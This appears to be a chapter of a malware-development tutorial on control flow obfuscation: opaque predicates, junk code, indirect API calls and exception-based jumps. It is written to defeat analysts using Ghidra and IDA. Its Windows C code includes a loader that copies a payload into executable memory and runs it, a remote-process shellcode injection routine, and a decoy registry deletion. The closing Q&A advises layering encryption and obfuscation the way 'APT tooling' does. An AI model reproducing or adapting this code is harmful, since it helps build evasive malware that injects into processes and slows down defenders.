Control Flow Obfuscation
String encryption defeats the cheapest analysis tool. Control flow obfuscation defeats the next level: static disassembly. When a malware analyst opens your binary in Ghidra or IDA Pro, the decompiler builds a call graph and control flow graph of the entire program. Clear control flow makes analysis fast. Obfuscation — opaque predicates, jump tables, junk instructions, control flow flattening — transforms a clean decompiler view into a tangle of undecipherable branches that forces the analyst to follow execution step-by-step rather than reading the decompiler output at a glance.
Control Flow Obfuscation Techniques
Technique What it defeats Cost
─────────────────────────────────────────────────────────────────────────
Junk code insertion Signature matching on Low — add NOPs, dead
specific byte sequences computations, dead branches
Opaque predicates Static analysis of Medium — insert conditions
which branches execute that always evaluate the same
(IDA/Ghidra can't way but aren't provably constant
simplify them) to the decompiler
Indirect jumps Call graph reconstruction Medium — replace direct calls
(call [rax]) (IDA can't build XREF with indirect: load address
without knowing rax) into register, then call/jmp
Control flow flattening Decompiler output High — every basic block
(switch dispatcher pattern) readability routes through a central
dispatcher switch statement
Exception-based CF Tracing (every exception Medium — use vectored
event requires debugger exceptions to transfer control
response) instead of direct jumps
Self-modifying code Static analysis High — code rewrites itself
(can't disassemble before execution, then
what changes at runtime) restores (or doesn't)
OLLVM (LLVM-based) All of the above High — requires LLVM build
automatically chain, but produces industry-
grade obfuscationOpaque Predicates
/* control_flow_obfus.c — Control flow obfuscation implementations */
#include <windows.h>
#include <stdio.h>
/*
* Opaque predicate: a conditional branch whose outcome is always determined
* (always true or always false) but appears non-constant to a static analyzer.
*
* Classic: (n * (n+1)) % 2 == 0 is ALWAYS true for any integer n
* (product of consecutive integers is always even).
* A static analyzer doesn't know n's runtime value and can't prove this.
* The decompiler shows an "if" branch that will never be taken — wastes analyst time.
*/
/* Always-true opaque predicates */
static BOOL always_true_1(int n) {
/* n*(n+1) is always even: one of n or n+1 is even */
return ((n * (n + 1)) % 2) == 0;
}
static BOOL always_true_2(DWORD x) {
/* (x | ~x) is always 0xFFFFFFFF (all bits set) */
return (x | (~x)) == 0xFFFFFFFF;
}
/* Always-false opaque predicates */
static BOOL always_false_1(int n) {
/* n^2 is never negative for integer n (in unsigned arithmetic it can wrap,
but we use it as an "analysis confuser") */
/* Actually: for the predicate to be provably false:
n^2 >= 0 for all n in real numbers, so n^2 < -1 is always false. */
return (n * n) < -1; /* always false: squares are non-negative */
}
/* ── Opaque predicate applied to protect code ────────────────────────── */
void function_with_opaque_predicates(PVOID payload) {
int n = GetTickCount() % 100; /* n appears non-constant to static analysis */
/* This always executes the real code path, but the decompiler sees two paths */
if (always_true_1(n)) {
/* Real code */
PVOID addr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr) {
memcpy(addr, payload, 0x1000);
((void(*)())addr)();
}
} else {
/* Junk code — never executes but confuses decompiler */
printf("this never runs\n");
ExitProcess(0xDEAD);
}
/* Always-false guard — junk code block between real instructions */
if (always_false_1(n)) {
/* This block never executes but the disassembler doesn't know that.
Fill it with API calls that look suspicious — forces analysts to
investigate this dead path, wasting their time. */
RegDeleteKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\important_key");
}
}
/* ── Junk code insertion ─────────────────────────────────────────────── */
/*
* Junk instructions: computations with results that are never used.
* The optimizer would normally remove these, so use 'volatile' to prevent
* the compiler from optimizing them away.
*/
#define JUNK() do { \
volatile int __j = (int)GetTickCount(); \
__j ^= 0xDEADC0DE; \
(void)__j; \
} while (0)
void function_with_junk(void) {
JUNK();
PVOID mem = VirtualAlloc(NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
JUNK();
if (mem) {
JUNK();
memset(mem, 0xCC, 4096);
JUNK();
VirtualFree(mem, 0, MEM_RELEASE);
JUNK();
}
}
Indirect Call Obfuscation
/* ── Indirect calls via function pointer arrays ──────────────────────── */
/*
* Direct call: CALL CreateRemoteThread → Ghidra builds a XREF immediately
* Indirect call: function pointer loaded from array → no XREF, no call graph edge
*
* Call via a function pointer resolved at runtime defeats:
* - IDA/Ghidra's call graph ("what calls CreateRemoteThread?")
* - Import graph analysis (no import entry if resolved dynamically)
* - Pattern matching on CALL instructions to specific addresses
*/
typedef LPVOID (WINAPI *VirtualAllocFn)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *WriteProcessMemoryFn)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI *CreateRemoteThreadFn2)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
/* Initialize function pointer table with hashed API resolution (Ch55) */
typedef struct {
VirtualAllocFn VirtualAllocEx;
WriteProcessMemoryFn WriteProcessMemory;
CreateRemoteThreadFn2 CreateRemoteThread;
} ApiTable;
static ApiTable g_api;
static void init_api_table(void) {
/* Resolve by CRC32 hash — no function name strings in binary (Ch55) */
HMODULE hK32 = GetModuleHandleA("kernel32.dll");
/* (resolve_by_hash from Ch55) */
g_api.VirtualAllocEx = (VirtualAllocFn) GetProcAddress(hK32, "VirtualAllocEx");
g_api.WriteProcessMemory = (WriteProcessMemoryFn) GetProcAddress(hK32, "WriteProcessMemory");
g_api.CreateRemoteThread = (CreateRemoteThreadFn2) GetProcAddress(hK32, "CreateRemoteThread");
}
/* Now all calls go through the table — no direct CALL edges to Win32 APIs */
static BOOL indirect_inject(HANDLE hProc, BYTE *sc, SIZE_T sc_len) {
PVOID remote = g_api.VirtualAllocEx(hProc, NULL, sc_len,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if (!remote) return FALSE;
SIZE_T written;
g_api.WriteProcessMemory(hProc, remote, sc, sc_len, &written);
HANDLE hT = g_api.CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remote, NULL, 0, NULL);
if (hT) CloseHandle(hT);
return hT != NULL;
}
/* ── Exception-based control flow ────────────────────────────────────── */
/*
* Use structured exception handling (SEH) / vectored exception handler (VEH)
* to transfer control instead of direct jumps.
* Ghidra/IDA see the exception raise (RaiseException or INT3) but may not
* correctly trace control to the handler — the call graph breaks at the exception.
*
* Analyst must trace through the OS exception dispatcher to find the handler.
*/
static LONG WINAPI cf_exception_handler(PEXCEPTION_POINTERS ep) {
if (ep->ExceptionRecord->ExceptionCode == 0xC0FFFFFF) {
/* Custom exception code — this is our CF transfer trigger */
/* Modify RIP to redirect execution to the real next step */
ep->ContextRecord->Rip = ep->ExceptionRecord->ExceptionInformation[0];
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
static void exception_cf_transfer(ULONG_PTR target_address) {
PVOID handler = AddVectoredExceptionHandler(1, cf_exception_handler);
ULONG_PTR args[1] = { target_address };
/* Raise custom exception with the target address as extra info */
RaiseException(0xC0FFFFFF, 0, 1, args);
/* Execution continues at target_address, not here */
RemoveVectoredExceptionHandler(handler);
}
Questions & Answers
Does control flow obfuscation prevent decompilers like Ghidra from working?
It degrades, not prevents. Ghidra's decompiler can handle indirect jumps (it tries to resolve register values statically), opaque predicates (it often simplifies them correctly when the predicate is trivially constant), and junk code (it may optimize dead blocks out of the decompiler view). What breaks Ghidra more effectively: self-modifying code (Ghidra disassembles the unmodified version), exception-based CF transfers (Ghidra doesn't trace through RaiseException to the handler without manual analyst configuration), and heavily nested dispatch tables. OLLVM-based control flow flattening is the most effective against Ghidra because it structurally transforms every function into a single large switch statement, and while Ghidra can decompile it, the output is enormously verbose and hard to read. Human analysts can still reverse engineered obfuscated code — obfuscation buys time, not permanent protection.
What is OLLVM and how does it differ from manual obfuscation?
OLLVM (Obfuscator-LLVM) is a modified version of the LLVM compiler infrastructure that applies obfuscation passes automatically during compilation: control flow flattening (restructures all functions as dispatch loops), bogus control flow (inserts always-false branches with fake code paths), and instruction substitution (replaces simple operations like x + y with equivalent but more complex expressions like x - (-y) or ~(~x + ~y) + 1). The difference from manual obfuscation: OLLVM transforms every function in your codebase automatically, consistently, and correctly — while manual obfuscation requires inserting each trick by hand and maintaining it across code changes. The trade-off: OLLVM significantly increases binary size (flattened functions can be 5-10x larger), slows down execution by 15-40%, and requires an LLVM-based build toolchain. Original OLLVM is unmaintained (2017); maintained forks exist for LLVM 14/16/18.
When would you use control flow obfuscation versus just encrypting the entire payload?
They solve different problems. Payload encryption (a shellcode loader that decrypts and executes a blob) protects the malicious code from static analysis of the on-disk binary. But the LOADER itself is unprotected — and the loader contains the decryption logic, the shellcode execution call, and other signatures. Control flow obfuscation protects the loader code — it makes the decryption routine and execution path hard to analyze in Ghidra even after analysts have the decrypted blob. For maximum protection: encrypt the payload (Part 7) AND apply control flow obfuscation to the loader. This creates two layers: the payload requires runtime decryption to analyze, and the loader requires significant manual reverse engineering effort even after extracting it. Most commodity malware only uses one layer — sophisticated APT tooling uses both.